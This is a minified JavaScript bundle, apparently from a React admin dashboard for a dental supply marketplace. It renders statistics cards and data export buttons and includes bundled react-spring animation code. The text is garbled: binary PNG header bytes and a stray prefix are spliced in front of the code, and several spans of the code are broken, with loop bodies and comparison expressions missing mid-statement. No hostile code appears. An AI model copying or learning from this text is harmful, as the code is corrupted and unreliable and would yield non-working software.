mkA~(@^_^@)~PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT p0 import{b as v,j as h,a as La,s as te,u as He,e as Oa,_ as Ti,f as _e,h as Da,t as Na,v as Ua,m as Pi,G as eo,k as Hr,S as q,D as Fa,E as za,d as to,F as Ha}from"./index-DoU2MHKd.js";import{M as Va}from"./index-BrNVkngO.js";import{u as Ba,L as Ga,B as Ya}from"./BlurComponent-By-zEEWf.js";import{F as ji}from"./index-CVwCPS20.js";import{a as nn}from"./index-BuJK2PrQ.js";import{G as Re}from"./Grid-Dszo2Bkt.js";import{g as Wa,B as Ve}from"./Box-COt46hbf.js";import{P as Xa}from"./Paper-KHBRuWUR.js";import{u as qa,T as ee}from"./Typography-CcGLjhMP.js";import{I as rn}from"./IconButton-58mvjT_A.js";import{F as Ka}from"./index-BjvZ8PnY.js";import{u as qt}from"./useTheme-DOOi9IXa.js";import{P as Qa}from"./Popper-DWo7Gb42.js";import"./observer-B278D4P8.js";import"./isHostComponent-BHK9_qiJ.js";import"./Portal-DQ_SGxKm.js";function no(e){const{children:t,defer:n=!1,fallback:r=null}=e,[i,s]=v.useState(!1);return qa(()=>{n||s(!0)},[n]),v.useEffect(()=>{n&&s(!0)},[n]),h.jsx(v.Fragment,{children:i?t:r})}function Za(e){return La("MuiCard",e)}Wa("MuiCard",["root"]);const Ja=["className","raised"],ec=e=>{const{classes:t}=e;return Da({root:["root"]},Za,t)},tc=te(Xa,{name:"MuiCard",slot:"Root",overridesResolver:(e,t)=>t.root})(()=>({overflow:"hidden"})),Pe=v.forwardRef(function(t,n){const r=He({props:t,name:"MuiCard"}),{className:i,raised:s=!1}=r,o=Oa(r,Ja),a=Ti({},r,{raised:s}),u=ec(a);return h.jsx(tc,Ti({className:_e(u.root,i),elevation:s?8:void 0,ref:n,ownerState:a},o))}),nc=()=>{const{handleError:e}=Ba(),{requestHandlers:t}=Na(),n=async o=>o==="vendor"||o==="dentist"?window.open(`${Pi.API_BASE}users/export/${o}`,"_black"):window.open(`${Pi.API_BASE}orders/export/${o}`,"_black"),r=async()=>{const{res:o,error:a}=await t({type:"GET",endpoint:"admin/statistics"});return a?e(a):o.data},{data:i,isLoading:s}=Ua({queryKey:["statistics"],queryFn:r});return{isLoading:s,data:i,exportData:n}};function sn(e){return eo({tag:"svg",attr:{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",strokeLinecap:"round",strokeLinejoin:"round"},child:[{tag:"rect",attr:{width:"8",height:"4",x:"8",y:"2",rx:"1",ry:"1"},child:[]},{tag:"path",attr:{d:"M16 4h2a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h2"},child:[]},{tag:"path",attr:{d:"M12 11h4"},child:[]},{tag:"path",attr:{d:"M12 16h4"},child:[]},{tag:"path",attr:{d:"M8 11h.01"},child:[]},{tag:"path",attr:{d:"M8 16h.01"},child:[]}]})(e)}function _i(e){return eo({tag:"svg",attr:{viewBox:"0 0 512 512"},child:[{tag:"path",attr:{d:"M470.7 9.4c3 3.1 5.3 6.6 6.9 10.3s2.4 7.8 2.4 12.2l0 .1v0 96c0 17.7-14.3 32-32 32s-32-14.3-32-32V109.3L310.6 214.6c-11.8 11.8-30.8 12.6-43.5 1.7L176 138.1 84.8 216.3c-13.4 11.5-33.6 9.9-45.1-3.5s-9.9-33.6 3.5-45.1l112-96c12-10.3 29.7-10.3 41.7 0l89.5 76.7L370.7 64H352c-17.7 0-32-14.3-32-32s14.3-32 32-32h96 0c8.8 0 16.8 3.6 22.6 9.3l.1 .1zM0 304c0-26.5 21.5-48 48-48H464c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V304zM48 416v48H96c0-26.5-21.5-48-48-48zM96 304H48v48c26.5 0 48-21.5 48-48zM464 416c-26.5 0-48 21.5-48 48h48V416zM416 304c0 26.5 21.5 48 48 48V304H416zm-96 80a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z"},child:[]}]})(e)}const rc=({data:e,exportData:t})=>{const{t:n}=Hr(),r={iconStyle:{width:"50px",height:"50px",display:"grid",placeItems:"center",borderRadius:"100%"}};return h.jsxs(h.Fragment,{children:[h.jsx(Re,{item:!0,xs:12,md:6,lg:3,children:h.jsx(Pe,{sx:{p:3},children:h.jsxs(q,{flexDirection:"row",justifyContent:"space-between",children:[h.jsxs(q,{gap:3,children:[h.jsx(ee,{fontWeight:700,children:n("label.vendors")}),h.jsx(ee,{variant:"h1",children:e.vendors_count})]}),h.jsxs(q,{alignItems:"center ",gap:2,children:[h.jsx(Ve,{sx:{...r.iconStyle,backgroundColor:"#3DA8CC"},children:h.jsx(ji,{size:30,color:"white"})}),h.jsx(rn,{size:"large",color:"secondary",onClick:()=>t("vendor"),children:h.jsx(nn,{})})]})]})})}),h.jsx(Re,{item:!0,xs:12,md:6,lg:3,children:h.jsx(Pe,{sx:{p:3},children:h.jsxs(q,{flexDirection:"row",justifyContent:"space-between",children:[h.jsxs(q,{gap:3,children:[h.jsx(ee,{fontWeight:700,children:n("label.dentists")}),h.jsx(ee,{variant:"h1",children:e.dentists_count})]}),h.jsxs(q,{gap:2,children:[h.jsx(Ve,{sx:{...r.iconStyle,backgroundColor:"#04364A"},children:h.jsx(ji,{size:30,color:"white"})}),h.jsx(rn,{size:"large",color:"secondary",onClick:()=>t("dentist"),children:h.jsx(nn,{})})]})]})})}),h.jsx(Re,{item:!0,xs:12,md:6,lg:3,children:h.jsx(Pe,{sx:{p:3},children:h.jsxs(q,{flexDirection:"row",justifyContent:"space-between",children:[h.jsxs(q,{gap:3,children:[h.jsx(ee,{fontWeight:700,children:n("label.daily_orders")}),h.jsx(ee,{variant:"h1",children:e.daily_orders_count})]}),h.jsx(Ve,{sx:{...r.iconStyle,backgroundColor:"info.main"},children:h.jsx(sn,{size:30,color:"white"})})]})})}),h.jsx(Re,{item:!0,xs:12,md:6,lg:3,children:h.jsx(Pe,{sx:{p:3},children:h.jsxs(q,{flexDirection:"row",justifyContent:"space-between",children:[h.jsxs(q,{gap:3,children:[h.jsx(ee,{fontWeight:700,children:n("label.daily_rfqs")}),h.jsx(ee,{variant:"h1",children:e.daily_rfq_count})]}),h.jsx(Ve,{sx:{...r.iconStyle,backgroundColor:"info.main"},children:h.jsx(sn,{size:30,color:"white"})})]})})}),h.jsx(Re,{item:!0,xs:12,md:6,lg:3,children:h.jsx(Pe,{sx:{p:3},children:h.jsxs(q,{flexDirection:"row",justifyContent:"space-between",children:[h.jsxs(q,{gap:3,children:[h.jsx(ee,{fontWeight:700,children:n("label.total_orders")}),h.jsx(ee,{variant:"h1",children:e.total_orders_count})]}),h.jsxs(q,{gap:2,children:[h.jsx(Ve,{sx:{...r.iconStyle,backgroundColor:"info.main"},children:h.jsx(sn,{size:30,color:"white"})}),h.jsx(rn,{size:"large",color:"secondary",onClick:()=>t("direct_order"),children:h.jsx(nn,{})})]})]})})}),h.jsx(Re,{item:!0,xs:12,md:6,lg:3,children:h.jsx(Pe,{sx:{p:3},children:h.jsxs(q,{flexDirection:"row",justifyContent:"space-between",children:[h.jsxs(q,{gap:3,children:[h.jsx(ee,{fontWeight:700,children:n("label.total_orders_revenue")}),h.jsxs(ee,{variant:"h1",children:[e.total_orders_revenue," "]})]}),h.jsx(Ve,{sx:{...r.iconStyle,backgroundColor:"success.main"},children:h.jsx(_i,{size:30,color:"white"})})]})})}),h.jsx(Re,{item:!0,xs:12,md:6,lg:3,children:h.jsx(Pe,{sx:{p:3},children:h.jsxs(q,{flexDirection:"row",justifyContent:"space-between",children:[h.jsxs(q,{gap:3,children:[h.jsx(ee,{fontWeight:700,children:n("label.total_rfqs")}),h.jsx(ee,{variant:"h1",children:e.total_rfq_count})]}),h.jsxs(q,{gap:2,children:[h.jsx(Ve,{sx:{...r.iconStyle,backgroundColor:"info.main"},children:h.jsx(sn,{size:30,color:"white"})}),h.jsx(rn,{size:"large",color:"secondary",onClick:()=>t("rfq_order"),children:h.jsx(nn,{})})]})]})})}),h.jsx(Re,{item:!0,xs:12,md:6,lg:3,children:h.jsx(Pe,{sx:{p:3},children:h.jsxs(q,{flexDirection:"row",justifyContent:"space-between",children:[h.jsxs(q,{gap:3,children:[h.jsx(ee,{fontWeight:700,children:n("label.total_rfqs_revenue")}),h.jsx(ee,{variant:"h1",children:e.total_rfq_revenue})]}),h.jsx(Ve,{sx:{...r.iconStyle,backgroundColor:"success.main"},children:h.jsx(_i,{size:30,color:"white"})})]})})})]})};function y(){return y=Object.assign?Object.assign.bind():function(e){for(var t=1;tKt(e,Vr),Br=Qt();z.write=e=>Kt(e,Br);var Un=Qt();z.onStart=e=>Kt(e,Un);var Gr=Qt();z.onFrame=e=>Kt(e,Gr);var Yr=Qt();z.onFinish=e=>Kt(e,Yr);var ht=[];z.setTimeout=(e,t)=>{const n=z.now()+t,r=()=>{const s=ht.findIndex(o=>o.cancel==r);~s&&ht.splice(s,1),Ye-=~s?1:0},i={time:n,handler:e,cancel:r};return ht.splice(ro(n),0,i),Ye+=1,io(),i};var ro=e=>~(~ht.findIndex(t=>t.time>e)||~ht.length);z.cancel=e=>{Un.delete(e),Gr.delete(e),Yr.delete(e),Vr.delete(e),Br.delete(e)};z.sync=e=>{Mr=!0,z.batchedUpdates(e),Mr=!1};z.throttle=e=>{let t;function n(){try{e(...t)}finally{t=null}}function r(...i){t=i,z.onStart(n)}return r.handler=e,r.cancel=()=>{Un.delete(n),t=null},r};var Wr=typeof window<"u"?window.requestAnimationFrame:()=>{};z.use=e=>Wr=e;z.now=typeof performance<"u"?()=>performance.now():Date.now;z.batchedUpdates=e=>e();z.catch=console.error;z.frameLoop="always";z.advance=()=>{z.frameLoop!=="demand"?console.warn("Cannot call the manual advancement of rafz whilst frameLoop is not set as demand"):oo()};var Ge=-1,Ye=0,Mr=!1;function Kt(e,t){Mr?(t.delete(e),e(0)):(t.add(e),io())}function io(){Ge<0&&(Ge=0,z.frameLoop!=="demand"&&Wr(so))}function ic(){Ge=-1}function so(){~Ge&&(Wr(so),z.batchedUpdates(oo))}function oo(){const e=Ge;Ge=z.now();const t=ro(Ge);if(t&&(ao(ht.splice(0,t),n=>n.handler()),Ye-=t),!Ye){ic();return}Un.flush(),Vr.flush(e?Math.min(64,Ge-e):16.667),Gr.flush(),Br.flush(),Yr.flush()}function Qt(){let e=new Set,t=e;return{add(n){Ye+=t==e&&!e.has(n)?1:0,e.add(n)},delete(n){return Ye-=t==e&&e.has(n)?1:0,e.delete(n)},flush(n){t.size&&(e=new Set,Ye-=t.size,ao(t,r=>r(n)&&e.add(r)),Ye+=e.size,t=e)}}}function ao(e,t){e.forEach(n=>{try{t(n)}catch(r){z.catch(r)}})}var sc=Object.defineProperty,oc=(e,t)=>{for(var n in t)sc(e,n,{get:t[n],enumerable:!0})},we={};oc(we,{assign:()=>cc,colors:()=>We,createStringInterpolator:()=>qr,skipAnimation:()=>uo,to:()=>co,willAdvance:()=>Kr});function kr(){}var ac=(e,t,n)=>Object.defineProperty(e,t,{value:n,writable:!0,configurable:!0}),S={arr:Array.isArray,obj:e=>!!e&&e.constructor.name==="Object",fun:e=>typeof e=="function",str:e=>typeof e=="string",num:e=>typeof e=="number",und:e=>e===void 0};function Le(e,t){if(S.arr(e)){if(!S.arr(t)||e.length!==t.length)return!1;for(let n=0;ne.forEach(t);function Ee(e,t,n){if(S.arr(e)){for(let r=0;rS.und(e)?[]:S.arr(e)?e:[e];function $t(e,t){if(e.size){const n=Array.from(e);e.clear(),V(n,t)}}var _t=(e,...t)=>$t(e,n=>n(...t)),Xr=()=>typeof window>"u"||!window.navigator||/ServerSideRendering|^Deno\//.test(window.navigator.userAgent),qr,co,We=null,uo=!1,Kr=kr,cc=e=>{e.to&&(co=e.to),e.now&&(z.now=e.now),e.colors!==void 0&&(We=e.colors),e.skipAnimation!=null&&(uo=e.skipAnimation),e.createStringInterpolator&&(qr=e.createStringInterpolator),e.requestAnimationFrame&&z.use(e.requestAnimationFrame),e.batchedUpdates&&(z.batchedUpdates=e.batchedUpdates),e.willAdvance&&(Kr=e.willAdvance),e.frameLoop&&(z.frameLoop=e.frameLoop)},Et=new Set,ye=[],nr=[],Mn=0,Fn={get idle(){return!Et.size&&!ye.length},start(e){Mn>e.priority?(Et.add(e),z.onStart(uc)):(lo(e),z(Ar))},advance:Ar,sort(e){if(Mn)z.onFrame(()=>Fn.sort(e));else{const t=ye.indexOf(e);~t&&(ye.splice(t,1),fo(e))}},clear(){ye=[],Et.clear()}};function uc(){Et.forEach(lo),Et.clear(),z(Ar)}function lo(e){ye.includes(e)||fo(e)}function fo(e){ye.splice(lc(ye,t=>t.priority>e.priority),0,e)}function Ar(e){const t=nr;for(let n=0;n0}function lc(e,t){const n=e.findIndex(t);return n<0?e.length:n}var dc=(e,t,n)=>Math.min(Math.max(n,e),t),fc={transparent:0,aliceblue:4042850303,antiquewhite:4209760255,aqua:16777215,aquamarine:2147472639,azure:4043309055,beige:4126530815,bisque:4293182719,black:255,blanchedalmond:4293643775,blue:65535,blueviolet:2318131967,brown:2771004159,burlywood:3736635391,burntsienna:3934150143,cadetblue:1604231423,chartreuse:2147418367,chocolate:3530104575,coral:4286533887,cornflowerblue:1687547391,cornsilk:4294499583,crimson:3692313855,cyan:16777215,darkblue:35839,darkcyan:9145343,darkgoldenrod:3095792639,darkgray:2846468607,darkgreen:6553855,darkgrey:2846468607,darkkhaki:3182914559,darkmagenta:2332068863,darkolivegreen:1433087999,darkorange:4287365375,darkorchid:2570243327,darkred:2332033279,darksalmon:3918953215,darkseagreen:2411499519,darkslateblue:1211993087,darkslategray:793726975,darkslategrey:793726975,darkturquoise:13554175,darkviolet:2483082239,deeppink:4279538687,deepskyblue:12582911,dimgray:1768516095,dimgrey:1768516095,dodgerblue:512819199,firebrick:2988581631,floralwhite:4294635775,forestgreen:579543807,fuchsia:4278255615,gainsboro:3705462015,ghostwhite:4177068031,gold:4292280575,goldenrod:3668254975,gray:2155905279,green:8388863,greenyellow:2919182335,grey:2155905279,honeydew:4043305215,hotpink:4285117695,indianred:3445382399,indigo:1258324735,ivory:4294963455,khaki:4041641215,lavender:3873897215,lavenderblush:4293981695,lawngreen:2096890111,lemonchiffon:4294626815,lightblue:2916673279,lightcoral:4034953471,lightcyan:3774873599,lightgoldenrodyellow:4210742015,lightgray:3553874943,lightgreen:2431553791,lightgrey:3553874943,lightpink:4290167295,lightsalmon:4288707327,lightseagreen:548580095,lightskyblue:2278488831,lightslategray:2005441023,lightslategrey:2005441023,lightsteelblue:2965692159,lightyellow:4294959359,lime:16711935,limegreen:852308735,linen:4210091775,magenta:4278255615,maroon:2147483903,mediumaquamarine:1724754687,mediumblue:52735,mediumorchid:3126187007,mediumpurple:2473647103,mediumseagreen:1018393087,mediumslateblue:2070474495,mediumspringgreen:16423679,mediumturquoise:1221709055,mediumvioletred:3340076543,midnightblue:421097727,mintcream:4127193855,mistyrose:4293190143,moccasin:4293178879,navajowhite:4292783615,navy:33023,oldlace:4260751103,olive:2155872511,olivedrab:1804477439,orange:4289003775,orangered:4282712319,orchid:3664828159,palegoldenrod:4008225535,palegreen:2566625535,paleturquoise:2951671551,palevioletred:3681588223,papayawhip:4293907967,peachpuff:4292524543,peru:3448061951,pink:4290825215,plum:3718307327,powderblue:2967529215,purple:2147516671,rebeccapurple:1714657791,red:4278190335,rosybrown:3163525119,royalblue:1097458175,saddlebrown:2336560127,salmon:4202722047,sandybrown:4104413439,seagreen:780883967,seashell:4294307583,sienna:2689740287,silver:3233857791,skyblue:2278484991,slateblue:1784335871,slategray:1887473919,slategrey:1887473919,snow:4294638335,springgreen:16744447,steelblue:1182971135,tan:3535047935,teal:8421631,thistle:3636451583,tomato:4284696575,turquoise:1088475391,violet:4001558271,wheat:4125012991,white:4294967295,whitesmoke:4126537215,yellow:4294902015,yellowgreen:2597139199},Ae="[-+]?\\d*\\.?\\d+",kn=Ae+"%";function zn(...e){return"\\(\\s*("+e.join(")\\s*,\\s*(")+")\\s*\\)"}var hc=new RegExp("rgb"+zn(Ae,Ae,Ae)),mc=new RegExp("rgba"+zn(Ae,Ae,Ae,Ae)),gc=new RegExp("hsl"+zn(Ae,kn,kn)),pc=new RegExp("hsla"+zn(Ae,kn,kn,Ae)),xc=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,yc=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,bc=/^#([0-9a-fA-F]{6})$/,vc=/^#([0-9a-fA-F]{8})$/;function wc(e){let t;return typeof e=="number"?e>>>0===e&&e>=0&&e<=4294967295?e:null:(t=bc.exec(e))?parseInt(t[1]+"ff",16)>>>0:We&&We[e]!==void 0?We[e]:(t=hc.exec(e))?(lt(t[1])<<24|lt(t[2])<<16|lt(t[3])<<8|255)>>>0:(t=mc.exec(e))?(lt(t[1])<<24|lt(t[2])<<16|lt(t[3])<<8|Ri(t[4]))>>>0:(t=xc.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+"ff",16)>>>0:(t=vc.exec(e))?parseInt(t[1],16)>>>0:(t=yc.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+t[4]+t[4],16)>>>0:(t=gc.exec(e))?($i(Ei(t[1]),on(t[2]),on(t[3]))|255)>>>0:(t=pc.exec(e))?($i(Ei(t[1]),on(t[2]),on(t[3]))|Ri(t[4]))>>>0:null}function rr(e,t,n){return n<0&&(n+=1),n>1&&(n-=1),n<1/6?e+(t-e)*6*n:n<1/2?t:n<2/3?e+(t-e)*(2/3-n)*6:e}function $i(e,t,n){const r=n<.5?n*(1+t):n+t-n*t,i=2*n-r,s=rr(i,r,e+1/3),o=rr(i,r,e),a=rr(i,r,e-1/3);return Math.round(s*255)<<24|Math.round(o*255)<<16|Math.round(a*255)<<8}function lt(e){const t=parseInt(e,10);return t<0?0:t>255?255:t}function Ei(e){return(parseFloat(e)%360+360)%360/360}function Ri(e){const t=parseFloat(e);return t<0?0:t>1?255:Math.round(t*255)}function on(e){const t=parseFloat(e);return t<0?0:t>100?1:t/100}function Li(e){let t=wc(e);if(t===null)return e;t=t||0;const n=(t&4278190080)>>>24,r=(t&16711680)>>>16,i=(t&65280)>>>8,s=(t&255)/255;return`rgba(${n}, ${r}, ${i}, ${s})`}var Ot=(e,t,n)=>{if(S.fun(e))return e;if(S.arr(e))return Ot({range:e,output:t,extrapolate:n});if(S.str(e.output[0]))return qr(e);const r=e,i=r.output,s=r.range||[0,1],o=r.extrapolateLeft||r.extrapolate||"extend",a=r.extrapolateRight||r.extrapolate||"extend",u=r.easing||(c=>c);return c=>{const d=Mc(c,s);return Cc(c,s[d],s[d+1],i[d],i[d+1],u,o,a,r.map)}};function Cc(e,t,n,r,i,s,o,a,u){let c=u?u(e):e;if(cn){if(a==="identity")return c;a==="clamp"&&(c=n)}return r===i?r:t===n?e<=t?r:i:(t===-1/0?c=-c:n===1/0?c=c-t:c=(c-t)/(n-t),c=s(c),r===-1/0?c=-c:i===1/0?c=c+r:c=c*(i-r)+r,c)}function Mc(e,t){for(var n=1;n=e);++n);return n-1}var kc=(e,t="end")=>n=>{n=t==="end"?Math.min(n,.999):Math.max(n,.001);const r=n*e,i=t==="end"?Math.floor(r):Math.ceil(r);return dc(0,1,i/e)},An=1.70158,an=An*1.525,Oi=An+1,Di=2*Math.PI/3,Ni=2*Math.PI/4.5,cn=e=>e<1/2.75?7.5625*e*e:e<2/2.75?7.5625*(e-=1.5/2.75)*e+.75:e<2.5/2.75?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375,Ac={linear:e=>e,easeInQuad:e=>e*e,easeOutQuad:e=>1-(1-e)*(1-e),easeInOutQuad:e=>e<.5?2*e*e:1-Math.pow(-2*e+2,2)/2,easeInCubic:e=>e*e*e,easeOutCubic:e=>1-Math.pow(1-e,3),easeInOutCubic:e=>e<.5?4*e*e*e:1-Math.pow(-2*e+2,3)/2,easeInQuart:e=>e*e*e*e,easeOutQuart:e=>1-Math.pow(1-e,4),easeInOutQuart:e=>e<.5?8*e*e*e*e:1-Math.pow(-2*e+2,4)/2,easeInQuint:e=>e*e*e*e*e,easeOutQuint:e=>1-Math.pow(1-e,5),easeInOutQuint:e=>e<.5?16*e*e*e*e*e:1-Math.pow(-2*e+2,5)/2,easeInSine:e=>1-Math.cos(e*Math.PI/2),easeOutSine:e=>Math.sin(e*Math.PI/2),easeInOutSine:e=>-(Math.cos(Math.PI*e)-1)/2,easeInExpo:e=>e===0?0:Math.pow(2,10*e-10),easeOutExpo:e=>e===1?1:1-Math.pow(2,-10*e),easeInOutExpo:e=>e===0?0:e===1?1:e<.5?Math.pow(2,20*e-10)/2:(2-Math.pow(2,-20*e+10))/2,easeInCirc:e=>1-Math.sqrt(1-Math.pow(e,2)),easeOutCirc:e=>Math.sqrt(1-Math.pow(e-1,2)),easeInOutCirc:e=>e<.5?(1-Math.sqrt(1-Math.pow(2*e,2)))/2:(Math.sqrt(1-Math.pow(-2*e+2,2))+1)/2,easeInBack:e=>Oi*e*e*e-An*e*e,easeOutBack:e=>1+Oi*Math.pow(e-1,3)+An*Math.pow(e-1,2),easeInOutBack:e=>e<.5?Math.pow(2*e,2)*((an+1)*2*e-an)/2:(Math.pow(2*e-2,2)*((an+1)*(e*2-2)+an)+2)/2,easeInElastic:e=>e===0?0:e===1?1:-Math.pow(2,10*e-10)*Math.sin((e*10-10.75)*Di),easeOutElastic:e=>e===0?0:e===1?1:Math.pow(2,-10*e)*Math.sin((e*10-.75)*Di)+1,easeInOutElastic:e=>e===0?0:e===1?1:e<.5?-(Math.pow(2,20*e-10)*Math.sin((20*e-11.125)*Ni))/2:Math.pow(2,-20*e+10)*Math.sin((20*e-11.125)*Ni)/2+1,easeInBounce:e=>1-cn(1-e),easeOutBounce:cn,easeInOutBounce:e=>e<.5?(1-cn(1-2*e))/2:(1+cn(2*e-1))/2,steps:kc},Dt=Symbol.for("FluidValue.get"),pt=Symbol.for("FluidValue.observers"),xe=e=>!!(e&&e[Dt]),le=e=>e&&e[Dt]?e[Dt]():e,Ui=e=>e[pt]||null;function Sc(e,t){e.eventObserved?e.eventObserved(t):e(t)}function Nt(e,t){const n=e[pt];n&&n.forEach(r=>{Sc(r,t)})}var ho=class{constructor(e){if(!e&&!(e=this.get))throw Error("Unknown getter");Ic(this,e)}},Ic=(e,t)=>mo(e,Dt,t);function Mt(e,t){if(e[Dt]){let n=e[pt];n||mo(e,pt,n=new Set),n.has(t)||(n.add(t),e.observerAdded&&e.observerAdded(n.size,t))}return t}function Ut(e,t){const n=e[pt];if(n&&n.has(t)){const r=n.size-1;r?n.delete(t):e[pt]=null,e.observerRemoved&&e.observerRemoved(r,t)}}var mo=(e,t,n)=>Object.defineProperty(e,t,{value:n,writable:!0,configurable:!0}),bn=/[+\-]?(?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,Tc=/(#(?:[0-9a-f]{2}){2,4}|(#[0-9a-f]{3})|(rgb|hsl)a?\((-?\d+%?[,\s]+){2,3}\s*[\d\.]+%?\))/gi,Fi=new RegExp(`(${bn.source})(%|[a-z]+)`,"i"),Pc=/rgba\(([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+)\)/gi,Hn=/var\((--[a-zA-Z0-9-_]+),? ?([a-zA-Z0-9 ()%#.,-]+)?\)/,go=e=>{const[t,n]=jc(e);if(!t||Xr())return e;const r=window.getComputedStyle(document.documentElement).getPropertyValue(t);if(r)return r.trim();if(n&&n.startsWith("--")){const i=window.getComputedStyle(document.documentElement).getPropertyValue(n);return i||e}else{if(n&&Hn.test(n))return go(n);if(n)return n}return e},jc=e=>{const t=Hn.exec(e);if(!t)return[,];const[,n,r]=t;return[n,r]},ir,_c=(e,t,n,r,i)=>`rgba(${Math.round(t)}, ${Math.round(n)}, ${Math.round(r)}, ${i})`,po=e=>{ir||(ir=We?new RegExp(`(${Object.keys(We).join("|")})(?!\\w)`,"g"):/^\b$/);const t=e.output.map(s=>le(s).replace(Hn,go).replace(Tc,Li).replace(ir,Li)),n=t.map(s=>s.match(bn).map(Number)),i=n[0].map((s,o)=>n.map(a=>{if(!(o in a))throw Error('The arity of each "output" value must be equal');return a[o]})).map(s=>Ot({...e,output:s}));return s=>{var u;const o=!Fi.test(t[0])&&((u=t.find(c=>Fi.test(c)))==null?void 0:u.replace(bn,""));let a=0;return t[0].replace(bn,()=>`${i[a++](s)}${o||""}`).replace(Pc,_c)}},Qr="react-spring: ",xo=e=>{const t=e;let n=!1;if(typeof t!="function")throw new TypeError(`${Qr}once requires a function parameter`);return(...r)=>{n||(t(...r),n=!0)}},$c=xo(console.warn);function Ec(){$c(`${Qr}The "interpolate" function is deprecated in v9 (use "to" instead)`)}var Rc=xo(console.warn);function Lc(){Rc(`${Qr}Directly calling start instead of using the api object is deprecated in v9 (use ".start" instead), this will be removed in later 0.X.0 versions`)}function Vn(e){return S.str(e)&&(e[0]=="#"||/\d/.test(e)||!Xr()&&Hn.test(e)||e in(We||{}))}var Je=Xr()?v.useEffect:v.useLayoutEffect,Oc=()=>{const e=v.useRef(!1);return Je(()=>(e.current=!0,()=>{e.current=!1}),[]),e};function yo(){const e=v.useState()[1],t=Oc();return()=>{t.current&&e(Math.random())}}function Dc(e,t){const[n]=v.useState(()=>({inputs:t,result:e()})),r=v.useRef(),i=r.current;let s=i;return s?t&&s.inputs&&Nc(t,s.inputs)||(s={inputs:t,result:e()}):s=n,v.useEffect(()=>{r.current=s,i==n&&(n.inputs=n.result=void 0)},[s]),s.result}function Nc(e,t){if(e.length!==t.length)return!1;for(let n=0;nv.useEffect(e,Uc),Uc=[];function Fc(e){const t=v.useRef();return v.useEffect(()=>{t.current=e}),t.current}var Ft=Symbol.for("Animated:node"),zc=e=>!!e&&e[Ft]===e,je=e=>e&&e[Ft],Zr=(e,t)=>ac(e,Ft,t),Bn=e=>e&&e[Ft]&&e[Ft].getPayload(),vo=class{constructor(){Zr(this,this)}getPayload(){return this.payload||[]}},Zt=class extends vo{constructor(e){super(),this._value=e,this.done=!0,this.durationProgress=0,S.num(this._value)&&(this.lastPosition=this._value)}static create(e){return new Zt(e)}getPayload(){return[this]}getValue(){return this._value}setValue(e,t){return S.num(e)&&(this.lastPosition=e,t&&(e=Math.round(e/t)*t,this.done&&(this.lastPosition=e))),this._value===e?!1:(this._value=e,!0)}reset(){const{done:e}=this;this.done=!1,S.num(this._value)&&(this.elapsedTime=0,this.durationProgress=0,this.lastPosition=this._value,e&&(this.lastVelocity=null),this.v0=null)}},zt=class extends Zt{constructor(e){super(0),this._string=null,this._toString=Ot({output:[e,e]})}static create(e){return new zt(e)}getValue(){const e=this._string;return e??(this._string=this._toString(this._value))}setValue(e){if(S.str(e)){if(e==this._string)return!1;this._string=e,this._value=1}else if(super.setValue(e))this._string=null;else return!1;return!0}reset(e){e&&(this._toString=Ot({output:[this.getValue(),e]})),this._value=0,super.reset()}},Sn={dependencies:null},Gn=class extends vo{constructor(e){super(),this.source=e,this.setValue(e)}getValue(e){const t={};return Ee(this.source,(n,r)=>{zc(n)?t[r]=n.getValue(e):xe(n)?t[r]=le(n):e||(t[r]=n)}),t}setValue(e){this.source=e,this.payload=this._makePayload(e)}reset(){this.payload&&V(this.payload,e=>e.reset())}_makePayload(e){if(e){const t=new Set;return Ee(e,this._addToPayload,t),Array.from(t)}}_addToPayload(e){Sn.dependencies&&xe(e)&&Sn.dependencies.add(e);const t=Bn(e);t&&V(t,n=>this.add(n))}},wo=class extends Gn{constructor(e){super(e)}static create(e){return new wo(e)}getValue(){return this.source.map(e=>e.getValue())}setValue(e){const t=this.getPayload();return e.length==t.length?t.map((n,r)=>n.setValue(e[r])).some(Boolean):(super.setValue(e.map(Hc)),!0)}};function Hc(e){return(Vn(e)?zt:Zt).create(e)}function Sr(e){const t=je(e);return t?t.constructor:S.arr(e)?wo:Vn(e)?zt:Zt}var zi=(e,t)=>{const n=!S.fun(e)||e.prototype&&e.prototype.isReactComponent;return v.forwardRef((r,i)=>{const s=v.useRef(null),o=n&&v.useCallback(g=>{s.current=Gc(i,g)},[i]),[a,u]=Bc(r,t),c=yo(),d=()=>{const g=s.current;if(n&&!g)return;(g?t.applyAnimatedValues(g,a.getValue(!0)):!1)===!1&&c()},l=new Vc(d,u),f=v.useRef();Je(()=>(f.current=l,V(u,g=>Mt(g,l)),()=>{f.current&&(V(f.current.deps,g=>Ut(g,f.current)),z.cancel(f.current.update))})),v.useEffect(d,[]),bo(()=>()=>{const g=f.current;V(g.deps,p=>Ut(p,g))});const m=t.getComponentProps(a.getValue());return v.createElement(e,{...m,ref:o})})},Vc=class{constructor(e,t){this.update=e,this.deps=t}eventObserved(e){e.type=="change"&&z.write(this.update)}};function Bc(e,t){const n=new Set;return Sn.dependencies=n,e.style&&(e={...e,style:t.createAnimatedStyle(e.style)}),e=new Gn(e),Sn.dependencies=null,[e,n]}function Gc(e,t){return e&&(S.fun(e)?e(t):e.current=t),t}var Hi=Symbol.for("AnimatedComponent"),Yc=(e,{applyAnimatedValues:t=()=>!1,createAnimatedStyle:n=i=>new Gn(i),getComponentProps:r=i=>i}={})=>{const i={applyAnimatedValues:t,createAnimatedStyle:n,getComponentProps:r},s=o=>{const a=Vi(o)||"Anonymous";return 